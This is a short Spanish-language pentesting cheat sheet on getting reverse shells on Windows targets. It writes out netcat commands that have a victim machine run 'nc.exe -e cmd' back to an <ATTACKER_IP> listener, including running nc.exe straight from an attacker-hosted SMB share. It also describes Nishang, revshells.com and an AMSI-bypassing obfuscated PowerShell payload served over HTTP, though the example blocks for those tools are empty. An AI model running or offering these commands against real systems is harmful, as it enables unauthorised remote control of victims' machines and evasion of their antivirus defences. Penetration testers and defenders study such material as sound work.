Reverse Shell

Nc.exe

Desde nuestro equipo atacante, deberemos de disponer del binario nc.exe. Lo compartiremos al equipo víctima a través de un servidor web o SMB. Una vez subido el binario en una ruta, nos otorgaremos una Reverse Shell con nc.exe.

# Víctima
.\nc.exe -e cmd <ATTACKER_IP> 443

# Atacante
nc -nlvp 443

También podemos disponer del binario de nc.exe en nuestro servidor SMB y ejecutar el binario para otorgarnos una Reverse Shell accediendo al mismo recuso compartido desde el equipo víctima.

# Atacante (Kali)
rlwrap -cAr nc -nlvp 443
impacket-smbserver smbFolder $(pwd) -smb2support

# Vítima (Windows)
\\<ATTACKER_IP>\smbFolder\nc.exe -e cmd <ATTACKER_IP> 443

Reverse Shell Nishang

Invoke-PowerShellTcp.ps1


RevShells

Desde la siguiente página, podemos generar diferentes tipos de Reverse Shell. El más recomendado en el caso de Windows, es el de PowerShell Base64.

Estableceremos nuestra dirección IP y el puerto donde estaremos en escucha. Del resultado generado, es el comando que deberá ejecutar la víctima.

Proceso para ejecutar la Reverse Shell de revshells.


BypassAMSI_PSRevshell

"Revshell" command

Generates an obfuscated PowerShell reverse shell payload based on original Nishang Reverse shell PS oneliner.

Usage

For example:

Will generate the payload:


"Server" command

This option will create a payload file, by default named revshell.ps1 (which is the obfuscated payload from revshell command written into a file), and expose it into a temporal HTTP server (by default on port 8000, which can be changed as well). The script will then generate an encoded payload that will request the file to the temporal server, executes it and triggers the reverse shell.

Usage

For example:

Will generate the payload:

Executing it on the victim machine will make a request to the HTTP server exposed and the payload file.

Última actualización

¿Te fue útil?